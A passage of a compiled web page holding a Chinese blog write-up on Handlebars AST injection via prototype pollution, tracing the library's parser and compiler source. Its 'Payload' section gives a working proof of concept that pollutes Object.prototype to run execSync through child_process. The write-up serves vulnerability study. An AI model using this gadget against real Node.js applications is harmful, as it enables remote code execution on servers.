20:53:34"})]})})]}),"\n",(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"handlebars-ast\u6ce8\u5165-\u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3",children:"Handlebars AST\u6ce8\u5165 \u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u8be6\u7ec6\u5206\u6790Handlebars AST\u6ce8\u5165"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u539f\u7406\u56fe",children:"\u539f\u7406\u56fe"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/Tyaoo/PicBed/master/img/PicGo-Github-PicBed/20210925163678af9e286637ed6de903.png",children:(0,s.jsx)(n.img,{alt:"image-20210925022250921",src:t(12685).A+"",width:"871",height:"412"})})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"handlebars"}),"\u7684",(0,s.jsx)(n.code,{children:"parser"}),"\u5728\u89e3\u6790",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u7c7b\u578b\u7684\u5b57\u7b26\u4e32\u65f6\u4f1a\u4f7f\u7528",(0,s.jsx)(n.code,{children:"Number()"}),"\u51fd\u6570\u8fdb\u884c\u5f3a\u5236\u8f6c\u6362\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\u8fd9\u4e2a\u5b57\u7b26\u4e32\u53ea\u80fd\u6570\u5b57\uff0c\u4f46\u662f\u7528\u8fc7\u539f\u578b\u94fe\u6c61\u67d3\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u975e\u6570\u5b57\u578b\u7684\u5b57\u7b26\u4e32"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\parser.js\n\ncase 35:\n this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };\n break;\ncase 36:\n this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };\n break;\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u5c06AST\u7f16\u8bd1\u4e3a\u51fd\u6570\u65f6\uff0c",(0,s.jsx)(n.code,{children:"handlebars"}),"\u7528",(0,s.jsx)(n.code,{children:"pushString"}),"\u5c06\u5b57\u7b26\u4e32\u4f20\u5230",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d\uff0c\u7528",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u5c06\u6570\u5b57\u548c\u5e03\u5c14\u503c\u4f20\u5165\u5230",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d\uff0c\u800c\u8fd9\u4e2a",(0,s.jsx)(n.code,{children:"opcode"}),"\u5c31\u662f\u4e4b\u540e\u7528\u6765\u6784\u9020\u6a21\u677f\u51fd\u6570\u7684\uff0c",(0,s.jsx)(n.code,{children:"Literal"}),"\u7c7b\u578b\u5728AST\u4e2d\u8868\u793a\u53d8\u91cf\u7684\u610f\u601d\uff0c\u5177\u4f53\u53ef\u4ee5\u53c2\u8003",(0,s.jsx)(n.a,{href:"https://docs.esprima.org/en/latest/syntax-tree-format.html",children:"Esprima\u8bed\u6cd5\u6811\u6807\u51c6"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u4e0b\u9762\u6211\u4eec\u80fd\u591f\u5229\u7528\u7684\u7c7b\u578b\u6709",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u548c",(0,s.jsx)(n.code,{children:"BooleanLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n StringLiteral: function StringLiteral(string) {\n this.opcode('pushString', string.value); // \u5b57\u7b26\u4e32\u4f7f\u7528pushString\n },\n\n NumberLiteral: function NumberLiteral(number) { \n this.opcode('pushLiteral', number.value); // \u6570\u5b57\u4f7f\u7528pushLiteral\n },\n\n BooleanLiteral: function BooleanLiteral(bool) {\n this.opcode('pushLiteral', bool.value); // \u5e03\u5c14\u503c\u4f7f\u7528pushLiteral\n },\n\n UndefinedLiteral: function UndefinedLiteral() {\n this.opcode('pushLiteral', 'undefined');\n },\n\n opcode: function opcode(name) {\n this.opcodes.push({\n opcode: name,\n args: slice.call(arguments, 1),\n loc: this.sourceNode[0].loc\n });\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u90a3\u4e48\u6211\u4eec\u5982\u4f55\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u5462\uff0c",(0,s.jsx)(n.code,{children:"handlebars"}),"\u5728\u7f16\u8bd1\u8bed\u6cd5\u6811\u65f6\u4f1a\u8c03\u7528\u4e00\u4e2a\u53eb",(0,s.jsx)(n.code,{children:"accept"}),"\u7684\u51fd\u6570\u6765\u5904\u7406\u6211\u4eec\u7684\u8bed\u6cd5\u6811\u8282\u70b9\uff0c\u4ed6\u4f1a\u8c03\u7528",(0,s.jsx)(n.code,{children:"node.type"}),"\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\u6765\u4fee\u6539",(0,s.jsx)(n.code,{children:"opcode"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u91cd\u70b9\u4e5f\u53ef\u4ee5\u8f6c\u6362\u6210\u5982\u4f55\u63a7\u5236",(0,s.jsx)(n.code,{children:"accept(node)"}),"\u4e2d",(0,s.jsx)(n.code,{children:"node"}),"\u503c\uff0c\u4e14\u4fdd\u8bc1\u89e3\u6790\u6d41\u7a0b\u6b63\u5e38\u8fdb\u884c"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n \n accept: function accept(node) {\n /* istanbul ignore next: Sanity code */\n if (!this[node.type]) {\n throw new _exception2['default']('Unknown type: ' + node.type, node);\n }\n\n this.sourceNode.unshift(node);\n var ret = this[node.type](node); // \u8c03\u7528node.type\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\n this.sourceNode.shift();\n return ret;\n },\n"})}),"\n",(0,s.jsx)(n.h2,{id:"payload",children:"Payload"}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u539f\u6587\u4f5c\u8005\u91c7\u7528\u7684payload"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'Copy successfullyconst Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "loc": {\n "start": 0\n }\n}];\n\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5927\u6982\u6d41\u7a0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5c06",(0,s.jsx)(n.code,{children:"type"}),"\u4fee\u6539\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\u7ed5\u8fc7",(0,s.jsx)(n.code,{children:"Lexer"}),"\u89e3\u6790"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6c61\u67d3",(0,s.jsx)(n.code,{children:"Program"}),"\u4e2d\u7684",(0,s.jsx)(n.code,{children:"body"}),"\uff0c\u6ce8\u5165\u81ea\u5b9a\u4e49\u7684",(0,s.jsx)(n.code,{children:"AST"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u5728",(0,s.jsx)(n.code,{children:"compiler.js"}),"\u6587\u4ef6\u4e2d\u627e\u5230\u53ef\u7528",(0,s.jsx)(n.code,{children:"Gadget"}),"\uff0c\u6b64",(0,s.jsx)(n.code,{children:"Gadget"}),"\u80fd\u591f\u63a7\u5236",(0,s.jsx)(n.code,{children:"accept(node)"}),"\u4e2d",(0,s.jsx)(n.code,{children:"node"}),"\u503c\uff0c\u539f\u6587\u4f5c\u8005\u5229\u7528\u7684\u662f",(0,s.jsx)(n.code,{children:"MustacheStatement"})]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u5206\u6790",children:"\u6f0f\u6d1e\u5206\u6790"}),"\n",(0,s.jsx)(n.h3,{id:"\u8c03\u7528\u6808",children:"\u8c03\u7528\u6808"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"compiler.js/ret()\n compiler.js/compileInput()\n base.js/parse()\n base.js/parseWithoutProcessing()\n visitor.js/accept()\n compiler.js/compile()\n compiler.js/accept()\n compiler.js/Program()\n compiler.js/MustacheStatement()\n compiler.js/NumberLiteral() <-- \u6ce8\u5165payload\n javascript-compiler.js/compile()\n javascript-compiler.js/createFunctionContext <-- \u751f\u6210\u6a21\u677f\u51fd\u6570\u4f53\n handlebars.runtime.js/create()\n runtime.js/ret()\n runtime.js/executeDecorators()\n anonymous/templateSpec.main()\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790\u5165\u53e3",children:"\u89e3\u6790\u5165\u53e3"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function ret(context, execOptions) {\n if (!compiled) {\n compiled = compileInput(); // \u7f16\u8bd1\u8f93\u5165\n }\n return compiled.call(this, context, execOptions);\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790ast",children:"\u89e3\u6790AST"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), // \u83b7\u53d6\u8bed\u6cd5\u6811\n environment = new env.Compiler().compile(ast, options), \n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);\n return env.template(templateSpec);\n }\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8bed\u6cd5\u6811\u89e3\u6790"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\base.js\n\nfunction parse(input, options) {\n var ast = parseWithoutProcessing(input, options); // \u8f6c\u5316\u4e3aAST\n var strip = new _whitespaceControl2['default'](options);\n\n return strip.accept(ast); // \u89e3\u6790AST\n}\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u7684\u91cd\u70b9\u662f\u5c06",(0,s.jsx)(n.code,{children:"input.type"}),"\u6c61\u67d3\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\uff0c\u4ece\u800c\u7ed5\u8fc7AST\u7684\u8f6c\u6362\u9636\u6bb5"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\base.js\n\nfunction parseWithoutProcessing(input, options) {\n // Just return if an already-compiled AST was passed in.\n if (input.type === 'Program') { // \u5982\u679c\u5df2\u7ecf\u662f\u8f6c\u6362\u597d\u7684AST\u5c31\u76f4\u63a5\u8fd4\u56de\n return input;\n }\n\n _parser2['default'].yy = yy;\n\n // Altering the shared object here, but this is ok as parser is a sync operation\n yy.locInfo = function (locInfo) {\n return new yy.SourceLocation(options && options.srcName, locInfo);\n };\n\n var ast = _parser2['default'].parse(input); // \u5426\u5219\u5c31\u8c03\u7528Lexer\u89e3\u6790\u8282\u70b9\u751f\u6210AST\n\n return ast;\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u662f\u9012\u5f52\u89e3\u6790\u8bed\u6cd5\u6811"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\visitor.js\n\n accept: function accept(object) {\n if (!object) {\n return;\n }\n\n /* istanbul ignore next: Sanity code */\n if (!this[object.type]) {\n throw new _exception2['default']('Unknown type: ' + object.type, object);\n }\n\n if (this.current) {\n this.parents.unshift(this.current);\n }\n this.current = object;\n\n var ret = this[object.type](object); // \u8c03\u7528\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\u89e3\u6790AST\n\n this.current = this.parents.shift();\n\n if (!this.mutating || ret) {\n return ret;\n } else if (ret !== false) {\n return object;\n }\n },\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",children:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options), // \u7f16\u8bd1\u73af\u5883\u53d8\u91cf\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);\n return env.template(templateSpec);\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n compile: function compile(program, options) {\n this.sourceNode = [];\n this.opcodes = [];\n this.children = [];\n this.options = options;\n this.stringParams = options.stringParams;\n this.trackIds = options.trackIds;\n\n options.blockParams = options.blockParams || [];\n\n options.knownHelpers = _utils.extend(Object.create(null), {\n helperMissing: true,\n blockHelperMissing: true,\n each: true,\n 'if': true,\n unless: true,\n 'with': true,\n log: true,\n lookup: true\n }, options.knownHelpers);\n\n return this.accept(program); // \u4f20\u5165accept\u51fd\u6570\u8fdb\u884c\u5904\u7406\n },\n \n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n accept: function accept(node) {\n /* istanbul ignore next: Sanity code */\n if (!this[node.type]) {\n throw new _exception2['default']('Unknown type: ' + node.type, node);\n }\n\n this.sourceNode.unshift(node);\n var ret = this[node.type](node); // \u63d0\u53d6AST\u5bf9\u5e94\u7684type\u5e76\u8c03\u7528\u8be5\u6784\u9020\u51fd\u6570\n this.sourceNode.shift();\n return ret;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e00\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u88ab\u6c61\u67d3\u4e3a",(0,s.jsx)(n.code,{children:"program"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n Program: function Program(program) { // \u5229\u7528Program\u7c7b\u6765\u81ea\u5b9a\u4e49\u7c7b\n this.options.blockParams.unshift(program.blockParams);\n\n var body = program.body, // \u901a\u8fc7\u6c61\u67d3body\u63d2\u5165\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\n bodyLength = body.length;\n for (var i = 0; i < bodyLength; i++) {\n this.accept(body[i]); // \u63d0\u53d6\u6211\u4eec\u7684body\u7ee7\u7eed\u8c03\u7528accept\u8fdb\u884c\u89e3\u6790\n }\n\n this.options.blockParams.shift();\n\n this.isSimple = bodyLength === 1;\n this.blockParams = program.blockParams ? program.blockParams.length : 0;\n\n return this;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e8c\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u4e3a\u81ea\u5b9a\u4e49\u7684",(0,s.jsx)(n.code,{children:"MustacheStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n MustacheStatement: function MustacheStatement(mustache) {\n this.SubExpression(mustache); // 1\n\n if (mustache.escaped && !this.options.noEscape) {\n this.opcode('appendEscaped');\n } else {\n this.opcode('append'); // \u5982\u679c\u6ca1\u6709\u8bbe\u7f6eescaped\u7684\u8bdd\u5c31\u8fdb\u884cappend\u64cd\u4f5c\n }\n },\n \n SubExpression: function SubExpression(sexpr) {\n transformLiteralToPath(sexpr);\n var type = this.classifySexpr(sexpr);\n\n if (type === 'simple') {\n this.simpleSexpr(sexpr);\n } else if (type === 'helper') {\n this.helperSexpr(sexpr); // 2\n } else {\n this.ambiguousSexpr(sexpr);\n }\n },\n \n helperSexpr: function helperSexpr(sexpr, program, inverse) {\n var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3\n path = sexpr.path,\n name = path.parts[0];\n\n if (this.options.knownHelpers[name]) {\n this.opcode('invokeKnownHelper', params.length, name);\n } else if (this.options.knownHelpersOnly) {\n throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);\n } else {\n path.strict = true;\n path.falsy = true;\n\n this.accept(path);\n this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));\n }\n },\n \n setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {\n var params = sexpr.params;\n this.pushParams(params); // 4\n\n this.opcode('pushProgram', program);\n this.opcode('pushProgram', inverse);\n\n if (sexpr.hash) {\n this.accept(sexpr.hash);\n } else {\n this.opcode('emptyHash', omitEmpty);\n }\n\n return params;\n },\n \n pushParams: function pushParams(params) {\n for (var i = 0, l = params.length; i < l; i++) {\n this.pushParam(params[i]); // 5\n }\n },\n \n pushParam: function pushParam(val) {\n var value = val.value != null ? val.value : val.original || '';\n\n if (this.stringParams) {\n if (value.replace) {\n value = value.replace(/^(\\.?\\.\\/)*/g, '').replace(/\\//g, '.');\n }\n\n if (val.depth) {\n this.addDepth(val.depth);\n }\n this.opcode('getContext', val.depth || 0);\n this.opcode('pushStringParam', value, val.type);\n\n if (val.type === 'SubExpression') {\n // SubExpressions get evaluated and passed in\n // in string params mode.\n this.accept(val);\n }\n } else {\n if (this.trackIds) {\n var blockParamIndex = undefined;\n if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {\n blockParamIndex = this.blockParamIndex(val.parts[0]);\n }\n if (blockParamIndex) {\n var blockParamChild = val.parts.slice(1).join('.');\n this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);\n } else {\n value = val.original || value;\n if (value.replace) {\n value = value.replace(/^this(?:\\.|$)/, '').replace(/^\\.\\//, '').replace(/^\\.$/, '');\n }\n\n this.opcode('pushId', val.type, value);\n }\n }\n this.accept(val); // 6 \u5f88\u5de7\u5999\u5730\u5c06\u6211\u4eec\u7684payload\u518d\u6b21\u4f20\u5165accept\u51fd\u6570\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e09\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u4e3a",(0,s.jsx)(n.code,{children:"NumberLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n StringLiteral: function StringLiteral(string) {\n this.opcode('pushString', string.value);\n },\n\n NumberLiteral: function NumberLiteral(number) { \n this.opcode('pushLiteral', number.value); // \u5c06\u6211\u4eec\u7684payload\u8bc6\u522b\u4e3aLiteral\u800c\u76f4\u63a5\u8f6c\u8fdb\u6784\u9020\u51fd\u6570\n },\n\n BooleanLiteral: function BooleanLiteral(bool) {\n this.opcode('pushLiteral', bool.value); \n },\n\n UndefinedLiteral: function UndefinedLiteral() {\n this.opcode('pushLiteral', 'undefined');\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u540e\u9762\u8fd8\u6709\u4e00\u7cfb\u5217\u5bf9",(0,s.jsx)(n.code,{children:"opcode"}),"\u7684\u64cd\u4f5c\uff0c\u5747\u4e3a",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u8bed\u6cd5\u6811\u7684\u7f16\u8bd1\u8fc7\u7a0b\uff0c\u4e0b\u56fe\u662f\u7f16\u8bd1\u597d",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u8bed\u6cd5\u6811\u4e4b\u540e",(0,s.jsx)(n.code,{children:"opcodes"}),"\u7684\u5168\u90e8\u64cd\u4f5c\uff0c\u800c\u6211\u4eec\u7684payload\u5c31\u88ab\u6ce8\u5165\u4e86\u7b2c\u4e00\u4e2a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/Tyaoo/PicBed/master/img/PicGo-Github-PicBed/2021092516367021e78643cf9a68f7c7.png",children:(0,s.jsx)(n.img,{alt:"image-20210925113821867",src:t(54792).A+"",width:"657",height:"553"})})}),"\n",(0,s.jsx)(n.h3,{id:"\u7f16\u8bd1\u6a21\u677f",children:"\u7f16\u8bd1\u6a21\u677f"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options),\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // \u5c06\u6211\u4eec\u7684\u73af\u5883\u53d8\u91cf\u4f20\u8fdb\u53bb\u6765\u7f16\u8bd1templateSpec\n return env.template(templateSpec);\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n compile: function compile(environment, options, context, asObject) {\n this.environment = environment;\n this.options = options;\n this.stringParams = this.options.stringParams;\n this.trackIds = this.options.trackIds;\n this.precompile = !asObject;\n\n this.name = this.environment.name;\n this.isChild = !!context;\n this.context = context || {\n decorators: [],\n programs: [],\n environments: []\n };\n\n this.preamble();\n\n this.stackSlot = 0;\n this.stackVars = [];\n this.aliases = {};\n this.registers = { list: [] };\n this.hashes = [];\n this.compileStack = [];\n this.inlineStack = [];\n this.blockParams = [];\n\n this.compileChildren(environment, options);\n\n this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;\n this.useBlockParams = this.useBlockParams || environment.useBlockParams;\n\n var opcodes = environment.opcodes,\n opcode = undefined,\n firstLoc = undefined,\n i = undefined,\n l = undefined;\n\n for (i = 0, l = opcodes.length; i < l; i++) {\n opcode = opcodes[i];\n\n this.source.currentLocation = opcode.loc;\n firstLoc = firstLoc || opcode.loc;\n this[opcode.opcode].apply(this, opcode.args); // \u8fd9\u91cc\u5c31\u662f\u4f7f\u7528\u6211\u4eecopcode\u7684\u64cd\u4f5c\uff0c\u7136\u540e\u4f1a\u628a\u7ed3\u679c\u5b58\u5230this.source.SourceNode\u4e2d\n }\n\n // Flush any trailing content that might be pending.\n this.source.currentLocation = firstLoc;\n this.pushSource('');\n\n /* istanbul ignore next */\n if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {\n throw new _exception2['default']('Compile completed with content left on stack');\n }\n\n if (!this.decorators.isEmpty()) {\n this.useDecorators = true;\n\n this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\\n']);\n this.decorators.push('return fn;');\n\n if (asObject) {\n this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);\n } else {\n this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\\n');\n this.decorators.push('}\\n');\n this.decorators = this.decorators.merge();\n }\n } else {\n this.decorators = undefined;\n }\n\n var fn = this.createFunctionContext(asObject); // \u521b\u5efa\u6a21\u677f\u7684\u51fd\u6570\u4f53\n if (!this.isChild) {\n var ret = {\n compiler: this.compilerInfo(),\n main: fn\n };\n\n if (this.decorators) {\n ret.main_d = this.decorators; // eslint-disable-line camelcase\n ret.useDecorators = true;\n }\n\n var _context = this.context;\n var programs = _context.programs;\n var decorators = _context.decorators;\n\n for (i = 0, l = programs.length; i < l; i++) {\n if (programs[i]) {\n ret[i] = programs[i];\n if (decorators[i]) {\n ret[i + '_d'] = decorators[i];\n ret.useDecorators = true;\n }\n }\n }\n\n if (this.environment.usePartial) {\n ret.usePartial = true;\n }\n if (this.options.data) {\n ret.useData = true;\n }\n if (this.useDepths) {\n ret.useDepths = true;\n }\n if (this.useBlockParams) {\n ret.useBlockParams = true;\n }\n if (this.options.compat) {\n ret.compat = true;\n }\n\n if (!asObject) {\n ret.compiler = JSON.stringify(ret.compiler);\n\n this.source.currentLocation = { start: { line: 1, column: 0 } };\n ret = this.objectLiteral(ret);\n\n if (options.srcName) {\n ret = ret.toStringWithSourceMap({ file: options.destName });\n ret.map = ret.map && ret.map.toString();\n } else {\n ret = ret.toString();\n }\n } else {\n ret.compilerOptions = this.options;\n }\n\n return ret;\n } else {\n return fn;\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u6267\u884c",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u7684\u5177\u4f53\u5b9e\u73b0\u6d41\u7a0b"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n \n\n // [pushLiteral]\n //\n // On stack, before: ...\n // On stack, after: value, ...\n //\n // Pushes a value onto the stack. This operation prevents\n // the compiler from creating a temporary variable to hold\n // it. \n pushLiteral: function pushLiteral(value) { // \u6ce8\u91ca\u4e5f\u5df2\u7ecf\u5f88\u6e05\u695a\u4e86\n this.pushStackLiteral(value); \n },\n \n pushStackLiteral: function pushStackLiteral(item) {\n this.push(new Literal(item));\n },\n \n function Literal(value) {\n \tthis.value = value;\n }\n \n push: function push(expr) {\n if (!(expr instanceof Literal)) {\n expr = this.source.wrap(expr);\n }\n\n this.inlineStack.push(expr);\n return expr;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u6267\u884c\u6700\u540e\u7684",(0,s.jsx)(n.code,{children:"append"}),"\u64cd\u4f5c\u7684\u65f6\u5019\u4f1a\u5c06",(0,s.jsx)(n.code,{children:"inlineStack"}),"\u4e2d\u7684\u5185\u5bb9pop\u51fa\u6765\u52a0\u5165\u5230",(0,s.jsx)(n.code,{children:"Source"}),"\u4e2d"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n append: function append() {\n if (this.isInline()) {\n this.replaceStack(function (current) {\n return [' != null ? ', current, ' : \"\"'];\n });\n\n this.pushSource(this.appendToBuffer(this.popStack()));\n } else {\n var local = this.popStack();\n this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);\n if (this.environment.isSimple) {\n this.pushSource(['else { ', this.appendToBuffer(\"''\", undefined, true), ' }']);\n }\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u662f\u521b\u5efa\u51fd\u6570\u4f53\u4e0a\u4e0b\u6587\uff0c\u5c06",(0,s.jsx)(n.code,{children:"source"}),"\u4e2d\u7684\u4e1c\u897f\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u51fd\u6570"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n createFunctionContext: function createFunctionContext(asObject) {\n // istanbul ignore next\n\n var _this = this;\n\n var varDeclarations = '';\n\n var locals = this.stackVars.concat(this.registers.list);\n if (locals.length > 0) {\n varDeclarations += ', ' + locals.join(', ');\n }\n\n // Generate minimizer alias mappings\n //\n // When using true SourceNodes, this will update all references to the given alias\n // as the source nodes are reused in situ. For the non-source node compilation mode,\n // aliases will not be used, but this case is already being run on the client and\n // we aren't concern about minimizing the template size.\n var aliasCount = 0;\n Object.keys(this.aliases).forEach(function (alias) {\n var node = _this.aliases[alias];\n if (node.children && node.referenceCount > 1) {\n varDeclarations += ', alias' + ++aliasCount + '=' + alias;\n node.children[0] = 'alias' + aliasCount;\n }\n });\n\n if (this.lookupPropertyFunctionIsUsed) {\n varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();\n }\n\n var params = ['container', 'depth0', 'helpers', 'partials', 'data'];\n\n if (this.useBlockParams || this.useDepths) {\n params.push('blockParams');\n }\n if (this.useDepths) {\n params.push('depths');\n }\n\n // Perform a second pass over the output to merge content when possible\n var source = this.mergeSource(varDeclarations); // \u628a\u539f\u672c\u7684source\u548cvarDeclarations\u62fc\u63a5\u8d77\u6765\n\n if (asObject) {\n params.push(source);\n\n return Function.apply(this, params);\n } else {\n return this.source.wrap(['function(', params.join(','), ') {\\n ', source, '}']); // \u5c06source\u5c01\u88c5\u6210\u51fd\u6570\n }\n },\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u751f\u6210\u6a21\u677f",children:"\u751f\u6210\u6a21\u677f"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options),\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); \n return env.template(templateSpec); // \u751f\u6210\u6a21\u677f\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars.runtime.js\n\nfunction create() {\n var hb = new base.HandlebarsEnvironment();\n\n Utils.extend(hb, base);\n hb.SafeString = _handlebarsSafeString2['default'];\n hb.Exception = _handlebarsException2['default'];\n hb.Utils = Utils;\n hb.escapeExpression = Utils.escapeExpression;\n\n hb.VM = runtime;\n hb.template = function (spec) {\n return runtime.template(spec, 